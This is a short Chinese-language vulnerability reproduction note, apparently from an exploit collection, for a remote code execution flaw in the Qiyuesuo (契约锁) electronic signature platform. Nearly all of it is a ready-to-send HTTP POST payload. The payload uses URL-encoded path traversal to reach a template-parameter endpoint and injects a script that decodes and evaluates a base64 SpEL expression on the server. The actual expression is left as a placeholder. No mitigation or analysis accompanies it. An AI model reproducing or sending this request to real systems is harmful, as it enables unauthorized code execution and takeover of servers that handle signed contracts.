Q15-1契约锁-电子签章平台-RCE

漏洞复现：

payload：

POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json
{"id":"2","params":[{"expression":"var a=new 
org.springframework.expression.spel.standard.SpelExpressionParser();var b='SpEL 表达式的 base64 编
码';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-
8');var c=a.parseExpression(deStr);c.getValue();"}]}